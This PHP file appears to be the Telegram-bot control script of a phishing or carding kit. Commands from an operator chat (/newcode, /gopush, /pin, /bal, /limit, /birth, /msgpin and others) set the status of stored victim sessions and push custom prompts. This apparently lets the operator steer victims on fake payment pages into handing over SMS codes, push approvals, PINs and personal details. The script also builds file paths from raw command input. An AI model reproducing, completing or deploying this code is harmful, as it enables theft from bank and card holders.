<?php
	
	include('functions.php');
    $config = json_decode(file_get_contents('config.json'));
	$post = file_get_contents('php://input');
	$post = json_decode($post, true);
	$msg = $post['message'];
	$iskbd = !$msg;
	if ($iskbd)
		$msg = $post['callback_query'];
	$id = beaText(strval($msg['from']['id']), chsNum());
	if (strlen($id) == 0)
		exit();
	$text = $msg[$iskbd ? 'data' : 'text'];
	$login = $msg['from']['username'];
	$nick = htmlspecialchars($msg['from']['first_name'].' '.$msg['from']['last_name']);
	if ($iskbd)
		$msg = $msg['message'];
	$mid = $msg[$iskbd ? 'message_id' : 'id'];
	$chat = $msg['chat']['id'];
	$image = $msg['photo'][0]['file_id'];
	$member = $msg['new_chat_member'];
	$cmd = explode(' ', $text, 2);
	$keybd = false;
	$result = false;
	$edit = false;

	switch ($chat) {
		case $config->chat_id: {
			$flag = false;
			switch ($cmd[0]) {
				case '/newcode': {
					$t = $cmd[1];
					
                    $pay = json_decode(@file_get_contents('./db/'.$t.'.txt'), true);
                    $pay['status'] = 'newcode';
                    file_put_contents('./db/'.$t.'.txt', json_encode($pay));
					$flag = true;
					break;
				}
				case '/gopush': {
					$t = $cmd[1];
					
                    $pay = json_decode(@file_get_contents('./db/'.$t.'.txt'), true);
                    $pay['status'] = 'gopush';
                    file_put_contents('./db/'.$t.'.txt', json_encode($pay));
					$flag = true;
					break;
				}
				case '/geo': {
					$t = $cmd[1];
					
                    $pay = json_decode(@file_get_contents('./db/'.$t.'.txt'), true);
                    $pay['status'] = 'geo';
                    file_put_contents('./db/'.$t.'.txt', json_encode($pay));
					$flag = true;
					break;
				}
				case '/suc': {
					$t = $cmd[1];
					
                    $pay = json_decode(@file_get_contents('./db/'.$t.'.txt'), true);
                    $pay['status'] = 'suc';
                    file_put_contents('./db/'.$t.'.txt', json_encode($pay));
					$flag = true;
					break;
				}
				case '/fail': {
					$t = $cmd[1];
					
                    $pay = json_decode(@file_get_contents('./db/'.$t.'.txt'), true);
                    $pay['status'] = 'fail';
                    file_put_contents('./db/'.$t.'.txt', json_encode($pay));
					$flag = true;
					break;
				}
				case '/bal': {
					$t = $cmd[1];
					
                    $pay = json_decode(@file_get_contents('./db/'.$t.'.txt'), true);
                    $pay['status'] = 'bal';
                    file_put_contents('./db/'.$t.'.txt', json_encode($pay));
					$flag = true;
					break;
				}
				case '/limit': {
					$t = $cmd[1];
					
                    $pay = json_decode(@file_get_contents('./db/'.$t.'.txt'), true);
                    $pay['status'] = 'limit';
                    file_put_contents('./db/'.$t.'.txt', json_encode($pay));
					$flag = true;
					break;
				}
				case '/pin': {
					$t = $cmd[1];
					
                    $pay = json_decode(@file_get_contents('./db/'.$t.'.txt'), true);
                    $pay['status'] = 'pin';
                    file_put_contents('./db/'.$t.'.txt', json_encode($pay));
					$flag = true;
					break;
				}
				case '/app': {
					$t = $cmd[1];
					
                    $pay = json_decode(@file_get_contents('./db/'.$t.'.txt'), true);
                    $pay['status'] = 'app';
                    file_put_contents('./db/'.$t.'.txt', json_encode($pay));
					$flag = true;
					break;
				}
				case '/birth': {
					$t = $cmd[1];
					
                    $pay = json_decode(@file_get_contents('./db/'.$t.'.txt'), true);
                    $pay['status'] = 'birth';
                    file_put_contents('./db/'.$t.'.txt', json_encode($pay));
					$flag = true;
					break;
				}
				case '/message': {
					$msgTemp = json_decode(@file_get_contents('./msgTemp.json'), true);
					$msgTemp[$id] = $cmd[1];
                    file_put_contents('./msgTemp.json', json_encode($msgTemp));
					$flag = true;
					break;
				}

				case '/cpin': {
					$msgTemp = json_decode(@file_get_contents('./msgTemp.json'), true);
					$msgTemp[$id] = $cmd[1];
                    file_put_contents('./msgTemp.json', json_encode($msgTemp));
					$flag = true;
					break;
				}

case '/cgen': {
					$msgTemp = json_decode(@file_get_contents('./msgTemp.json'), true);
					$msgTemp[$id] = $cmd[1];
                    file_put_contents('./msgTemp.json', json_encode($msgTemp));
					$flag = true;
					break;
				}

				case '/msg': {
					$msgTemp = json_decode(@file_get_contents('./msgTemp.json'), true);
					$t = $msgTemp[$id];
					
                    $pay = json_decode(@file_get_contents('./db/'.$t.'.txt'), true);
                    $pay['status'] = 'msg';
                    $pay['msgText'] = preg_replace('/\/.+? /', '', $text);
                    file_put_contents('./db/'.$t.'.txt', json_encode($pay));
					$flag = true;
					$msgTemp[$id] = false;
                    file_put_contents('./msgTemp.json', json_encode($msgTemp));
					break;
				}

                case '/gen': {
					$msgTemp = json_decode(@file_get_contents('./msgTemp.json'), true);
					$t = $msgTemp[$id];
					
                    $pay = json_decode(@file_get_contents('./db/'.$t.'.txt'), true);
                    $pay['status'] = 'gen';
                    $pay['msgTextGen'] = preg_replace('/\/.+? /', '', $text);
                    file_put_contents('./db/'.$t.'.txt', json_encode($pay));
					$flag = true;
					$msgTemp[$id] = false;
                    file_put_contents('./msgTemp.json', json_encode($msgTemp));
					break;
				}

				case '/msgpin': {
					$msgTemp = json_decode(@file_get_contents('./msgTemp.json'), true);
					$t = $msgTemp[$id];
					
                    $pay = json_decode(@file_get_contents('./db/'.$t.'.txt'), true);
                    $pay['status'] = 'msgpin';
					$pay['pinType'] = '1';
                    $pay['msgTextPin'] = preg_replace('/\/.+? /', '', $text);
                    file_put_contents('./db/'.$t.'.txt', json_encode($pay));
					$flag = true;
					$msgTemp[$id] = false;
                    file_put_contents('./msgTemp.json', json_encode($msgTemp));
					break;
				}
				case '/msgpin2': {
					$msgTemp = json_decode(@file_get_contents('./msgTemp.json'), true);
					$t = $msgTemp[$id];
					
                    $pay = json_decode(@file_get_contents('./db/'.$t.'.txt'), true);
                    $pay['status'] = 'msgpin2';
					$pay['pinType'] = '2';
                    $pay['msgTextPin'] = preg_replace('/\/.+? /', '', $text);
                    file_put_contents('./db/'.$t.'.txt', json_encode($pay));
					$flag = true;
					$msgTemp[$id] = false;
                    file_put_contents('./msgTemp.json', json_encode($msgTemp));
					break;
				}
			}
			break;
		}
	}